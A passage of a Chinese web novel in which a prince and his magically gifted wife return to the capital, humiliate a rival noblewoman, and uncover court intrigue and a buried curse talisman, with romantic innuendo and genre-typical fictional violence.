墨云寒又抱紧了几分。
“那要怎么办?需要我做什么,你告诉我。”
江清婉无声的翻了个白眼。
“没办法。”
如果她收回灵契,墨云寒必死无疑。
或许等找出黑气和功德圣光的源头,解开他身上镇妖的秘密,一切才能有转机。
墨云寒愣了好一会儿,忽地松开她。
额头几乎抵着她的。
“收不回去了?”
江清婉不爽的瞪他。
“你得意什么?疼死你算了。”
墨云寒低低闷笑出声。
再次将她狠狠抱在怀里。
“怎么办啊,以后,你只能依靠我了,所以王妃,对本王好一些。”
江清婉真的不想搭理他。
墨云寒开心了没一会,巨疼再次袭来。
他闷哼一声,死死忍着。
却又怕控制不住力道怕伤着人,仓皇的将江清婉推开。
“你等我缓一缓。”
他不想喊疼,但真的太疼。
江清婉看着他唇上溢出的血珠,终究还是不忍心。
认命般握住他的双手。
“我警告你,进入识海以后再敢想乱七八糟的事情,我真的会阉了你。”
双掌交握。
她凝神静气,拽着墨云寒再次跌入池水之中。
在进入识海的那一瞬间,疼痛缓解。
双腿有热气自脚底蔓延而上。
他正疑惑。
江清婉却已经开始解释。
“这和福祸相依一个道理,你难道没发现最近自己的武功强了不少吗?试试看。”
墨云寒又想开口。
江清婉再次不爽打断。
“用什么功法我怎么知道,我又不会武功。”
墨云寒想起识海之中,他所有的心理活动,江清婉都能准确读取。
当下在心中喋喋不休的开始说话。
一边运功调息,一边将这几天憋在心里的抱怨一股脑的全说了出来。
说到后边就又变了味。
什么荤话都开始往外冒。
只听的江清婉的小脸都快烧冒烟了。
“你闭嘴!调息好了没有?”
“还不行,还疼。”
墨云寒老神在在的解释着。
“你不是能读到我心里的想法吗?你仔细听听我还疼不疼。”
江清婉就是因为感觉到他还没有结束,才没有离开识海。
可这混蛋,已经开始评价她的胸。
诗词歌赋都要被他玷污。
倒是半点没了矜贵王爷的冷傲,完全一副军中糙汉的模样。
再继续,竟然开始遐想同房的姿势。
江清婉再也撑不住,迅速抽身离开。
气的抬手就打。
可墨云寒却早就察觉,快速扣住她的手腕将她压在了身下。
毛毡之下有些硌人。
却远不及压着她的身体更硌人。
墨云寒委屈开口,“这不公平。”
这话气的江清婉瞬间炸毛。
“什么不公平?”
墨云寒煞有介事的解释。
“你都能看到我在想什么,可我却看不到你在想什么,不过,你的心跳还有身上的温度都告诉你,你和我想的大差不差。”
江清婉磨着牙想咬人。
“差别大了去,我才不会像你这么……这么不要脸。”
墨云寒挑了下眉角。
“嗯,我承认。”
他如此坦诚的让江清婉噎的都不知道该怎么骂。
索性闭上眼装死。
却又细细密密的吻落在她侧边的脖颈处,男人的声音哑的吓人。
“我到底什么时候能破戒。”
江清婉深吸一口气,忽地转过头冲着他展颜一笑,声音又娇又媚。
“云寒哥哥……”
墨云寒的身体猛地一僵。
江清婉瞅准机会,猛地抬膝顶了上去。
“嗯……”
突如其来的痛击让墨云寒松了手。
江清婉立刻从毛毡上爬了起来,又不爽的踹了他两脚。
“再敢欺负人,下次入识海,我就带把剪刀。”
说完转身往外走。
墨云寒坐在毛毡上,疼的脸都白了。
嘴上却又不饶人。
“这才刚刚结束,王妃就开始期待下一次了吗?”
江清婉被闪了一跟头,恼羞的回头瞪他。
烛火之后,男人姿态懒散,衣服早就松散开来,堪堪挂在肩头。
邪魅撩人,美艳如妖。
江清婉脑海中再次浮现在识海中读到的,男人扣着她的腰将她摁在书案上的艳色画面,瞬时落荒而逃。
被关押在外,连帐子都没得住的秦明朗,看着江清婉娇羞的从墨云寒的营帐里跑了出来,衣衫不整,发髻都散了,恨得是抓心挠肝。
不要脸的贱人,行军打仗还不忘承欢。
竟然还主动跑去承欢,果然是个浪荡贱货。
这是一封卷起来的密信从黑暗处丢了进来,就落在他的脚边。
他愣了一下迅速捡起死死攥着手里,悄悄看了眼几步之外的守卫,并没发现任何异常。
他藏在袖口偷偷展开,借着月色看清了上面的字。
“认罪,可活!”
落款:苏。
苏家的人?
秦明朗冷笑一声,将纸粗鲁的塞进嘴里一下一下嚼着,眼底是疯狂的偏执算计。
他不是白在兵部待了这段时日。
军需输送的流程他很清楚。
清风寨内出现的那些机关暗器暂且不论,单单那些火药,绝非一般人能够拿到。
再加上黑鸦的主子想要的那张地图,还有大隋余孽的出现,太多巧合都跟苏家有着千丝万缕的联系。
如今这封密信,印证了他所有的猜想。
以前他想攀附苏家,现在,他要和苏家好好谈谈条件!
第197章 骟了
昨夜做了一场荒诞涟漪的梦。
江清婉醒来的时候,马车已经在行走。
她呆呆的看着车顶,小脸绯红蒙着一层薄薄的汗,那双漂亮的眸子闪动着潋滟动人的春色。
她抬手扶额。
想起梦里自己对墨云寒做的那些事情,简直羞耻至极。
“你梦见了什么?”
一道低沉的男声忽然袭来,如梦中被她压在身下痴缠时低低的呻吟。
江清婉猛地睁开双眼下意识反驳。
“我没有梦到你。”
等回神,就看到墨云寒坐在她的马车内,正用一种怪异又戏谑玩味的眼神盯着她。
“原来你刚刚的反应是因为在梦里与我……”
江清婉不知道梦中肆意的时候在现实中自己是什么反应,心虚的扑过去捂住了他的嘴。
“不准说。”
墨云寒本也只是逗逗她。
可看着她绯红的脸颊,和已经红透的耳朵,眼底欲色渐浓。
也不躲闪,任由江清婉捂着嘴。
沉闷低哑的声音吻在她的掌心。
“原来王妃一直在肖想本王!”
江清婉整个人几乎骑在他身上,闻言凶巴巴的瞪他。
“没有!”
墨云寒似是而非的点了点头。
江清婉以为他信了,刚松了口气,就被他捉住小手在唇边亲了亲。
“让王妃想成这般是本王的错,本王虽不能破戒,但用其他法子帮王妃慰藉也不是不可!”
其他法子?
江清婉的脑袋里轰的一声。
昨夜糜乱的梦境清晰的浮现,她恨不得找个地缝钻进去。
身体竟因为墨云寒的话而抑制不住轻轻的颤抖,像一只一碰就软的小猫儿,敏感的要命。
墨云寒顿觉自找罪受。
大手扣着那截小腰,极力平复着呼吸。
这时小红忽地从外面窜了进来,裹着布帘摔在车内。
周围不少人都看向这边,又被车内缠绵的抱在一起的两个人齐齐惊到,迅速将脸扭开。
青穗慌忙整理好布帘。
可王爷和王妃一大早就憋不住在马车内亲热的事,还是很快在队伍里传开。
被拽着铁链子跟在队伍后面脚底都快磨破的秦明朗听得大为恼火。
愤恨不甘的骂了句。
“荒淫无道,不知廉耻。”
他刚骂完,一鞭子就抽了过来。
王昊骑在马上居高临下的看着他。
“你一个阶下囚还敢大放厥词,王爷王妃是恩爱夫妻,跟你有个毛的关系。你羡慕嫉妒恨也没辙,谁让你攀附苏家,丢了明珠,最后落得这个下场也是你纯纯活该。”
周围士兵齐齐嗤笑。
秦明朗恨得差点咬碎了牙。
此刻马车内,江清婉已经从墨云寒身上下来。
抱着小红胡乱的揉了一把来平复心情。
墨云寒从车内小茶几下面拿出食盒。
“先吃些东西,今日午后就能入京。”
江清婉哦了一声,倾身过去拿,手指碰到了小红脖子上挂着的圆球,不由愣了一下,立刻低头查看。
墨云寒随口问道,“你给它做的铃铛吗?怎么也不响?”
江清婉看着传音石上的“玄”字,心情有些复杂,敷衍的解释了一句,“不是铃铛,是饰品。”
墨云寒又瞧了一眼。
“有些丑!”
小红瞬间冲着他呲牙咧嘴表示不赞同。
墨云寒挑眉。
“你打不过我。”
小红气的炸毛。
低吼着身体弓起,做出要攻击的姿势。
江清婉无语的将它摁在怀里。
“老实点,再胡闹,就出去。”
小红委屈的发出呜呜声。
墨云寒却再次挑眉。
“看到了吗?她是我娘子,自然向着我。”
“你也一样!”
江清婉气的瞪他。
小红闻言乐得四蹄朝天,还故意将屁股对着墨云寒。
扭完往江清婉怀里一扎,示威一般拱了拱,眼看着就要拱到江清婉的胸口。
下一刻就被墨云寒提溜着后脖颈抱了过去,毫不费力的摁在了腿上。
“我们该好好沟通一下感情。”
小红试图挣脱,却是徒劳无功。
墨云寒动作温柔的抚摸它的毛发,语气淡淡。
“有一年我带兵行军,路过一个村子,遇到一个养猪的大叔,他养的猪膘肥体壮,我与他闲聊问起秘诀,他告诉我,骟了它,断了它不该有的念头,就会听话只长肉了。”
说着低头。
“小红啊,你是有些瘦的。”
小红顿时瑟瑟发抖。
江清婉一本正经的点了点头。
“那人说的没错,骟了,就能彻底断了念头,您觉得呢王爷?”
墨云寒撸毛的动作一僵,后背一阵发凉。
抬眸难以置信的看向江清婉。
四目相对,江清婉憋不住噗嗤一声笑了出来。
墨云寒伸手捏她的小脸,“还敢笑,真是越发的胆大。”
不用跟洛九讨论机关兵器,接下来的路程,江清婉过得异常轻松。
她发现墨云寒是个很好的聊天对象,风趣多闻,随性淡雅。
临近京城的时候,墨云寒叫停了马车。
让青穗和苏柳儿分别护着江清婉和洛九的马车先行入城。
他们要直接入宫。
临走前,江清婉拉住墨云寒的袖子小声说了句。
“小心苏家。”
墨云寒点点头,抬手理了理她额前的碎发。
“在府中等我回去。”
说罢下了马车。
李斗和莲儿也过来了,不知是行军太累,还是昨夜没睡好,两个人的精神都极差。
墨云寒也没在意,目送两辆马车离开,随即叫来夜七。
“你去趟暗卫营,拿好物证,在宫门口汇合。”
“是!”
夜七拱手应下,骑上马朝另一个方向而去。
江清婉的马车跟洛九的马车在入城后就分开了。
从城门去王府,走的路都是主街。
马车刚行了半条街,就听见热闹的喧嚣声在前面响起,熙熙攘攘又吵吵闹闹。
“都让开,让开!不长眼的东西!”
训斥声不绝于耳。
江清婉的马车是淮楼找来的,没有任何标识,很普通的黑色马车。
当即就被拦了下来。
“这条街不能走,拐到别的街上去,快点!”
有个小厮拿着马鞭拦在前面,颐指气使,身上挂着县主府的腰牌,倒是不知是哪家县主。
李斗沉着脸上前,二话不说,提溜起人直接扔了出去。
那人被摔得四仰八叉,哎呦叫着坐在地上,指着李斗发狠话。
“你完蛋了,知不知道老子是谁,我是县主府的人,苏家苏县主知道吗?今天可是我们县主姑爷凯旋回京的大日子,你敢在这个时候闹事,老子抽死你!”
第198章 娇弱美人
坐在车边上的青穗乐道,“真是好大的威风,那你又知不知道,这马车里坐的是谁?”
小厮一挥手。
“我管你是谁,我奉我家县主之名,列道恭迎我家县主姑爷凯旋,闲杂人等,不得占道,赶紧滚蛋!”
青穗刚要说江清婉的身份。
后面车帘就伸出一只素白的小手,掀开半截帘子,声音温柔响起。
“我们让路。”
那小厮得意叉腰。
“早这样不就完了。”
他手里的马鞭拍在李斗的肩膀上,“傻大个子,还没有你家主人懂事,瞪我干什么?还不跪下给我赔罪!”
莲儿急道,“我们已经答应让路,你不要太过分!”
小厮却不依不饶。
“他当街扔我,损的可是我家县主的脸面,不赔罪,信不信我让你们吃不了兜着走。”
江清婉本不想闹事,毕竟天大的笑话一会就要上演,她是很愿意腾出地方,给苏玉兰表演。
可眼下,这人实在聒噪。
“李斗,既然他要让我们吃不了兜着走,那就把他的牙砸碎了让他咽下去。”
小厮哈哈大笑。
只当是她发了疯,可还没笑完,沙包大的拳头就砸了过来,一拳碎了门牙,咕咚一声连着血水真的咽进了肚子里。
他捂着嘴巴指着李斗怒目而视,漏风的嘴里说的话都不太清楚,但绝对是在骂人。
就在这时,苏玉兰坐着轿子走了过来。
前边开路的府兵气势汹汹地推搡着周围看热闹的百姓。
小厮回头,顿时大喜,立刻扑跪在地上露出了满嘴的鲜血,指着身后的马车含糊不清的告状。
“县主大人,她们不让,还行凶。”
府兵一看这架势,当即就要动手。
苏玉兰却认出了青穗和莲儿,抬手制止。
“停轿!”
随后扶着春梅的手走了下来。
小厮还等这她给出气,刚站起身,就被她一巴掌扇回地上。
“不长眼的狗东西,连九王妃都敢惹!小心她摄了你的魂,让你变成干尸!”
妖妃吸人精血变成干尸的传闻在京城中早就传来。
可这九王妃的模样,却并不是谁都见过。
闻言所有人都看向了江清婉的马车。
苏玉兰故意面露诧异。
“莫不是九王妃不在里面,本县主瞧着这马车也不是王府的马车,若王妃不在,你们身为下人,却当街殴打本县主的人,实在说不过去吧。”
摆明了,江清婉不露面,今日这事,就不能善了。
江清婉本想早些回府休息,这会儿反倒是来了兴致。
撩开车帘扶着青穗的手臂走了下来。
她连日行军,小脸并未化妆,略显苍白,却更显弱柳扶风之美,江南丝质的裙摆随风而展,长发如墨,被一根碧玉簪子随意别在耳后,小而精致的流苏轻轻荡着。
眸如烟波流转,唇如初春青涩盛开的娇花。
哪里有半点妖妇歹毒的模样。
围观众人皆是惊叹。
“这就是九王妃啊,长得像画里的美人一样。”
“传闻果然有假,这样的女子,怕是连只鸡都不敢杀,怎么会是妖妇。”
“怪不得九王爷为之倾倒,当真是国色天香。要说她害人,我倒觉得,煞神王爷更有嫌疑。”
苏玉兰听着周围的议论,心中冷笑。
一群肤浅的贱民,区区皮囊而已,等她做了异姓王妃,必让这群贱民自戳双目。
她上前敷衍的行了个礼。
“见过王妃,王爷出征多日,听闻你一直窝在宅院中不曾出门,此番来城门应该是来接王爷的吧,那不如一起吧。王爷神勇,必是剿匪成功,回城见到你,定然欢喜的。”
她是今日午后才收到的消息,说是秦明朗即将回京。
而出征之前,秦明朗曾跟她说过,这一役,墨云寒必会受挫,将会有他力挽狂澜。而皇上也有扶持他打压墨云寒之意。
对此,她曾找母亲印证过,宫里的贵妃姑姑也曾亲耳听见皇上对墨云寒的不满。
云筱然那日在茶楼说的话,更是印证了这点。
她有绝对的信心,这一次,墨云寒会惨遭挫败。
他回京后肯定憋着火,见到江清婉又岂会欢喜,说不定会当街辱骂,最好能扇两巴掌,那才解气。
她心里越是盘算越是兴奋。
正想怎么让江清婉留在这里,城门外已经传来守城卫兵的喊声。
“九王殿下班师回朝,开城门!”
她顿时大喜。
“你们这些做下人的,还不将马车移开,莫要拦了王妃看王爷的路。”
江清婉冲着青穗使了个眼色。
她立刻叫回李斗。拉着马车拐进不远处的小巷子腾出了位置。
而苏玉兰的轿子也挪到了同一个小巷子里。
四名轿夫全是鼻孔出气。
“我们县主说了,这一次县主姑爷可是要大出风头,你们就等着丢人吧。”
青穗呵呵两声,懒得搭理。
莲儿也无心还击,紧张的看向李斗,心里擂鼓一般。
现在的李斗,让她既害怕又担心。
可却没机会跟江清婉细说,只能等着此间事了回府之后再做打算。
外面的长街上,军队已经入城。
浩浩荡荡的战马,威风凛凛。
苏玉兰翘首以盼,原以为头马会是秦明朗,可看了一圈也没有看到他人。
周围百姓皆被骑着猎鹰一身玄色铠甲的墨云寒吸引。
大周战神之威,让不少人都跟着跪了下来。
“王爷千岁。”
此起彼伏的声音让苏玉兰越发心焦。
忍不住怒声道,“堂堂王爷,竟然以权势抢人功劳,实在过分。”
江清婉淡笑着看她。
“苏县主怎知是王爷抢功,而不是秦明朗不行!”
“怎么可能,他早有计划,绝不会……”
苏玉兰差点脱口而出,却又紧急憋了回去,神色有些慌张。
江清婉微微皱了下眉。
看来战车被毁,真的是秦明朗所为。
苏玉兰既然知晓,苏家便肯定知晓。
苏巍川到底想干什么?
针对墨云寒吗?
这时人群中忽然炸开了锅。
“那后面被马拴着的人不是秦将军吗?出征前我见过的。”
“什么?这将军怎么还成了俘虏?”
“还真是秦将军啊,苏县主还大张旗鼓的前来迎接,真是丢人。”
苏玉兰也在这时看到了秦明朗,难以置信的踉跄两步,忽地冲到了猎鹰的前面猛地伸开了双臂。
若不是行军速度并不快,猎鹰的蹄子都能踩她脸上。
第199章 丢尽了脸面
“墨云寒,就算你是九王爷,也不能这样对待剿匪功臣。”
苏玉兰情绪失控地扬声喝问,“天子脚下,你以为自己真的能只手遮天吗?为了一个女人,你一再打压我的夫君,如今还这般凌辱于他,你到底想干什么?”
当朝九王抢了当朝二品将军的妻子据为己有,这桃色流言早就不是新鲜事。
这会儿,当事人全在,周围百姓围了一堆,面面相觑,却都不敢出声。
墨云寒骑着猎鹰,居高临下的看着她。
“本王刚刚入城,战报还未递交圣听,你怎知是我打压于他,而不是他做了违法乱纪之事?”
苏玉兰急道,“不可能,我夫君一心报国,定然是被你陷害暗算!”
墨云寒冷冷勾了勾唇角。
马蹄轻踏,手中马鞭轻轻敲着掌心。
“本王一路未走官道,未过官驿,战况消息未曾泄露半分,你却张口说是本王构陷,证据何在?”
苏玉兰心头一慌。
抬手指着队伍后面无比狼狈的秦明朗。
“我夫君走时还是二品将军,大理寺司正,现如今却是这般模样,若不是你……”
墨云寒轻哼一声打断她。
“秦明朗私自囤兵,在剿匪当日,藏有私心,欲学螳螂捕蝉坐收渔翁之利,本王未当场斩杀,已是给苏家留了颜面,你若不服,尽可入宫告状。”
他声音铮铮,朗朗而下。
周围百姓皆是指指点点。
“竟然敢私自囤兵啊,这可是诛九族的大罪啊。”
“秦将军是一声都不吭,看来是真的了,苏县主还大张旗鼓地来接,这下完蛋了。”
……
苏玉兰彻底呆住。
私自囤兵这样的罪名,墨云寒若无证据绝不会随意攀咬。
再结合临行前秦明朗得意洋洋的说辞,她只觉整个人如遭雷劈。
“让开!”
一声厉喝,惊得她下意识往旁边退,脚步踉跄着直接摔坐在地上。
墨云寒踏马而过,悠然的行至江清婉身边俯身轻轻靠近,眸光深浓多情,声色撩人。
“回府等我,我办完差事就回。”
说罢再未停留,带着队伍扬长而去。
很快空旷下来的街道上,众人面面相觑。
忽有人惊叹疑惑。 “原来九王爷和九王妃这么恩爱啊,真是令人艳羡。”
一人声起,众声附和。
哪里还有人看得见苏玉兰盛装而来的风光。
江清婉却故意般,偏要将风光他移。
笑容清浅的看向狼狈起身的苏玉兰。
“苏县主说的没错,王爷见到我很是欢喜。只是可惜了县主准备的锣鼓炮竹,没能派上用场,还是拿回府中再放吧,毕竟从将军变成阶下囚,也不是什么值得在大众面前锣鼓喧天去庆贺的事情。”
苏玉兰的脸气的都快扭曲了。
这时青穗牵着马车已经过来。
闻言又添了把火,“王妃,县主府的轿夫刚刚在巷子里提醒我们等着看怎么丢人现眼,没想到,我们还真的看到了,是挺丢人的。”
紧随其后的死命轿夫抬着轿子面色惨白,低着头哪还有刚刚的威风。
苏玉兰不甘怒视,“江清婉,你得意什么?皇上还未对此事做决断,一切结果未可知,若是被我查到王爷构陷,我定然……”
“啪!”
狠狠的一巴掌抽了过去。
青穗活动着手腕,笑的森然骇人。
“一个小小的县主,竟然敢屡次直呼我家王妃的名讳,实在该打。”
苏玉兰被抽的半张脸都肿了,难以置信的捂着脸怒斥,“你……你敢打我?”
江清婉漂亮的眸子无辜的看着她。
“苏县主背靠苏老王爷,娇纵蛮横,竟然敢带着府兵骚扰百姓,强行占道,当街拦截班师回朝的军队质问,如此粗野无状,实在有损老王爷的威名,若传到宫中,可要如何收场。你可知,民心才是天下,而非权势。”
说罢似无奈的轻轻叹息了一声,扶着青穗的手臂上了马车,很快走了。
周围百姓却是被她最后一句话激荡起阵阵涟漪。
有几个刚刚被苏玉兰的府兵推倒碰伤的人,顿时安耐不住。
“这可是城门长街,何时成了县主府的官道,倚仗权势横行强占,当我们百姓为刍狗不成。”
“苏老王爷也曾为大周披肝沥胆,怎地就教养出这样的孙女。我们日日供奉,缴纳税收养出来的贵人县主,却这般凌辱我们,太过分了。”
“还我们公道,还我们公道!”
人群激愤愈演愈烈。
苏玉兰气的咬牙切齿。
“一群贱种杂碎,也敢欺辱到本县主的头上,你们还愣着干什么,给我打,打死了算本县主的。”
此话一出,百姓更加气愤。
场面彻底失控,县主府的府兵正要动手,程氏匆匆赶来。
“住手,都给我住手!” 苏玉兰正在气头上,哪里肯这么丢脸的收场。
“母亲,只是一群贱民……”
“啪!”
程氏一巴掌呼了过去,苏玉兰的另一边脸也肿了起来。
“混账东西,你还嫌丢脸丢的不够吗?立刻滚回县主府,再敢胡闹半分,我立刻让你祖父遣送你出京,这辈子你也别想再回来。”
苏玉兰捂着脸死死咬着牙。
她不明白,为什么连母亲也不站在她这一边,非要看着她颜面扫地,被所有人嘲笑。
她心里恨得要死,被春梅拉着快速上了轿子。
程氏强压心头怒火,冲着周围激愤的百姓微微颔首。
“诸位,今日之事,是小女的错,我代她给诸位致歉。”
高高在上的贵妇人忽然给他们道歉,百姓顿时都有些惊住,情绪也瞬间被安抚下来。
已经走远的苏玉兰回头看着这一幕,恨得眼眶通红。
等回到县主府,她径直去了柴房,抓起门边挂着的鞭子,猛地踹来了房门。
被锁在里面的张氏吓得一哆嗦。
见她进来立刻谄媚讨好,“儿媳妇,我真的知道错了,你先放我出去,明朗回来我绝不告状。”
“啪!”
苏玉兰二话不说一鞭子抽了过去。
心中的怒火再也压制不住。
“贱人,一群狗杂碎,一个个全欺负到我的头上来,我让你们都不得好死。”
她手里的鞭子不停。
抽的张氏嗷嗷惨叫着满地打滚的躲。
可柴房本就窄小,又哪里躲的过,很快身上就见了血。
张氏疼的厉害,顿时破口大骂。
“等我儿回来,我定要让他休了你这悍妇!”
苏玉兰顿了顿,心中恨意更浓。
“秦明朗这个废物,最好死在宫里!”
第200章 李斗不是李斗
江清婉的马车刚到王府,宋玉书就来了。
显然城门口的事情,她已经听说。
“秦明朗的事,是真的?”
江清婉点点头,“这几日府中可有异常?”
宋玉书随着她往后院走。
“没有,风雅筑那边很平静,云筱然倒是过来问询过几次,都被我打发了,她并不知道你去了清风寨。”
江清婉刚走过石亭,忽地就停下了脚步。
莲儿怀里的小红也在这时警觉地窜了下来,四处嗅着。
青穗已经飞跃到屋檐上查看。
骤然紧绷的气氛让宋玉书心中一惊。
“怎么了?”
江清婉抬手轻轻碾了碾指尖的风。
花香是暖的,阳光也是暖的。
可这风中,却又一丝很浅很淡的寒意。
“有谁来过后院?”
宋玉书摇头。
“我特意叮嘱过府兵,不准人擅闯。”
这时青穗落回她身边。
“王妃,没人。”
小红却朝着一个位置,刨起了土。
速度极快,不一会就扒拉出一道黄符,张口要吃,凑近了却又极其嫌弃的呸了一口,用爪子扒拉到一边。
莲儿过去想捡起来,却被江清婉叫住。
“别碰。”
说话间她已经上前,俯身看着那道符,只见上面萦绕着一层血色红光。
“巫蛊降头?”
玄门道术中有一旁支。
结合了西域巫蛊之术,与邪修类似,手段却更为毒辣。
宋玉书显然曾听说过,闻言脸色大变。
“是降头师吗?到底是何人要害你?”
江清婉凝了一丝灵气笼罩在符纸之上,让莲儿重新埋了进去。 莲儿不解。
“小姐,这东西害人,为何还要埋回去,不如烧了吧。”
“烧了,那人便知道了。”
江清婉淡淡看向四周。
随着符纸被重新埋进去,周围飘荡着的阴气也淡了不少。
敌人在暗,还不是打草惊蛇的时候。
宋玉书不放心。
“清婉,你还是搬去前院住吧,府中人多,不好动手,也安全些。”
江清婉这一次没有拒绝。
“那就劳烦夫人帮我收拾个院子。”
宋玉书笑着打趣。
“你与云寒已经赐婚,自然要住在正殿,前些日我张罗了不少成婚的物品,正好合用。我现在就让人铺上,你收拾一下,今晚就搬过去。”
她喜滋滋的转身走了。
江清婉还在想事情,等回过神来,哪里还有她的影子。
现如今,她修为全在墨云寒的身上,与他同住是最好的选择。
只是那人……
她又想到在识海中的荒淫,小脸不由红了红。
莲儿埋了符,才终于找到机会跟江清婉独处说话。
“小姐,李斗……不太对劲。”
江清婉愣了下。
回头看向角落里沉默的收拾着东西的李斗,并未在他身上看到任何邪祟之气。
“他怎么了?还没恢复吗?”
莲儿不知该怎么形容,急的有些抓耳挠腮。
“小姐,奴婢说不清楚,就是他的眼神,眼神很吓人。”
江清婉又看了一眼李斗。
无比确定,他并没有沾染任何不好的东西。
就在这时,李斗抬起头看了过来。
江清婉还未收回的目光与之相撞,心下顿时一凛。
那人……不是李斗。
或者说,不是曾经的李斗。 莲儿见她不说话,心中更加焦急。
“小姐,他是不是被鬼附身了啊?从那天掉进河里之后,奴婢就一直觉得他阴森森的,会不会是水鬼找替身?那李斗……李斗是不是还在那个河里?”
她越说越心惊,声音都在抖。
江清婉没理她,扬声唤道,“李斗,你过来。”
李斗听话照做,低着头杵在一步之外。
“小姐。”
“抬起头来!”
江清婉平静的注视着他,距离近了,她依旧没感觉到任何不对,可那双眼睛,却大有问题。
“你是不是想起了什么?”
既然不是被夺舍,那么恢复了神志便是唯一合理的解释。
李斗的眼底闪过一丝犹豫,抿着唇没有说话。
江清婉心中却已经明了。
“你是我捡回来的,并没有卖身契,你随时可以离开。”
莲儿一听顿时急了,噗通一下跪在了地上。
“小姐,您不能放弃他啊,求您不要撵他走。”
江清婉叹了口气。
“莲儿,我并没有撵他走,只是给他一个选择,每一个人都有自己选择自己要走的路的权利,你也一样。若他日你有不得不离开的理由,我也不会拦你。”
莲儿听得一知半解,抬头看向李斗。
李斗此刻依旧垂着眸子,脸上没什么表情,只是垂在身侧的手死死握着。
莲儿不知他心里在想什么,急的去拽他胳膊。
“你说话啊,小姐待你这么好,你有什么难处不能跟小姐说啊。”
李斗僵着身体,依旧一言不发。
见他如此,江清婉也没有再追问。
“我还是那句话,在我这里,你是自由身,想好了告诉我一声便可,下去吧。”
她摆了摆袖子。
一页宣纸从袖中滑落,墨汁印染出来的半截鬼面,让李斗大惊失色,迅速捡起展开。
他从来不会做这么无状的举动。
莲儿都惊了一下,赶紧去夺。
“小姐的东西不要随便看。”
李斗却无比激动的将纸展开冲着江清婉喊,“这是什么?你告诉我这是什么?” 他太过激动。
青穗担心他会伤到江清婉,立刻跑了过来警惕的挡在前面。
江清婉看了看纸上的鬼面,又抬头看向睚眦俱裂的李斗。
“这是清风寨老街长家里供奉的鬼面石像,若我没有猜错,这东西,应跟大隋有关。”
李斗的双眼猛地睁大。
“大……大隋?”
莲儿已经将纸抢了过来,小心叠好递给江清婉。
“小姐,您别怪他,他脑子坏掉了。”
李斗喃喃自语,嘴里念叨着大隋,忽地抬手猛地砸向自己的脑袋。
用力极大。
莲儿吓坏了,抬手去拦,却被他直接甩飞在地上。
青穗立刻上前,一个手刀,李斗瞬时昏死过去。
“他这是怎么了?”
江清婉没解释,将手中的鬼面石像图塞回腰间。
若这石像真的与大隋有关,李斗的异常,或许也是因为大隋。
“先将他扶到石亭内休息,等他情绪平复我再问问。”
第201章 如何将军
程氏回到程府,脸色难看至极。
程楠正在院子里逗着鸟,见此,赶紧将鸟笼塞给小厮让他离开,这才笑眯眯的过去扶她。
“夫人莫急。”
程氏的火气哪还压得住,一巴掌呼在了他的身上。
“我能不急吗?秦明朗那个蠢货,竟然敢私自囤兵,他这不是找死吗?我刚去见了王府,想见见父亲,却被拒之门外,这个坎,怕是过不去了。”
“还有你那个闺女,和秦明朗一样的蠢!竟然大张旗鼓的带人去城门口迎接,真是不知死活,丢尽了脸面。”
她越说越气,又使劲拧了程楠一把。
“你倒是想想法子啊,实在不行,让兰儿尽快跟秦明朗和离,总好过和他一起去死。”
程楠疼的呲牙咧嘴,却也不敢躲。
“夫人,事情还未到如此糟糕的地步。”
“还不糟糕?我看你就是心大!”程氏气的咬牙,片刻后又看向程楠,“你是不是有法子?”
程楠扶着她坐在石亭中,这才道,“老王爷的心思,咱们不要乱猜,若咱们女婿真的在劫难逃,被九王爷死死咬住,你觉得苏家真的能独善其身吗?”
程氏怔了怔。
旁人只知程楠靠着祖荫的几间铺子活着,是个十足十的闲散人,不务正业,毫无建树。
可鲜少有人知道,程楠的父亲,曾是苏巍川的心腹军师。
当年大隋与大周大战之前,是苏巍川授意,让程氏嫁给了程楠,本想共赴辉煌,成就霸业,可谁知程父却在那一场大战中惨死。
苏巍川只给了银两补偿,却拒绝了程楠子承父业。
为此,程氏跟苏巍川闹过几次,反倒是让父女关系变得更差,更引得大房嘲讽,全当是她品性不端,跟军师的儿子私通,才不得不下嫁。
程氏吃了哑巴亏,这些年也憋着口气。
才会与苏玉兰一般,一心想要出人头地。
夫妻数十栽,没有人比程氏更清楚程楠与程父一般,都有一颗七巧玲珑心。
她稳了稳情绪,拉着程楠的手追问。
“你是谁,秦明朗做的所有事情,我父亲都知晓?”
程楠浅浅笑道,“夫人,京城诸事,又有哪一件能瞒得过老王爷?”
程氏沉思片刻,恍然大悟。
“我明白了,大姐的儿子和夫君,在军中已有建树。可在军政之中,想成就和父亲一样的地位,九王便是这肉中钉眼中刺。他这是拿秦明朗当枪使啊。这么多年了,父亲到底当我和一脉是什么?随手可弃的棋子吗?当年如此,现在亦如此!”
她气的眼眶通红。
程楠眼底闪了闪,安抚的轻轻拍了拍她的手背。
“夫人,我倒觉得,此事也非全然是坏处。若女婿能窥探其中一二,倒是能趁势反击,说不定,效果会很好。”
程氏急道,“若他蠢笨不能窥探一二呢?岂不是死局?” 程楠耸耸肩。
“若他当真蠢笨至此,为夫支持夫人所言,让兰儿与他和离,如此蠢人,实在担负不起夫人和兰儿的大志。”
女子和离岂是随便能为的事,更何况苏玉兰和秦明朗二人的婚事本就被人多方诟病。
“不行,我得去见见秦明朗提醒一二。”
她说着就往外走。
程楠伸手拦她。
“九王押运直入宫门,你岂能见到?”
程氏却挣开。
“三妹在宫中尊为贵妃,总能想到些办法,你莫要管了。”
说罢招呼丫鬟叫了马车迅速出了府。
程楠看着她的背影,很轻很轻的勾了下唇角。
“苏家这水啊,也该搅一搅了。”
……
夜幕渐沉之时,墨云寒才从皇宫中出来。
夜七早就憋不住。
“王爷,皇上摆明了要保姓秦的,若是这都给他逃脱了,岂不是便宜了那厮。”
长长的宫墙外,侍卫无步一岗,森严威慑。
夕阳的余晖早就消散无踪,只余下斑驳的光影落在城墙上。
照的砖石明暗交错,像极了干涸了太多年的血。
墨云寒脚步未停,闻言轻哼了一声。
“战车,火药,铁器,弓弩,每一条线索,皆出自兵部。你觉得区区一个秦明朗,入职不过月余,便能完全掌控六部之一?”
夜七愣了一下。
“王爷您说的是苏……”
他看了眼四周,没敢直呼名讳。
墨云寒也没点破,眼中噙着几分玩味冷漠。
“比大隋机关营更精巧的机关武器,大周军政核心的兵部,本王也很期待到底是大周的太平江山重要,还是那座龙椅的唯我独尊的权势更重要。”
夜七没听懂。
只是有些不甘心的嘟囔。
“那我们抓秦明朗入京,岂不是白抓了?”
墨云寒有些嫌弃的瞥他一眼。 忽然有些想念江清婉。
若是她,定然知晓,引蛇出洞并不在诱饵,而在于蛇。
秦明朗本就不是这场对弈的那个“将军”!
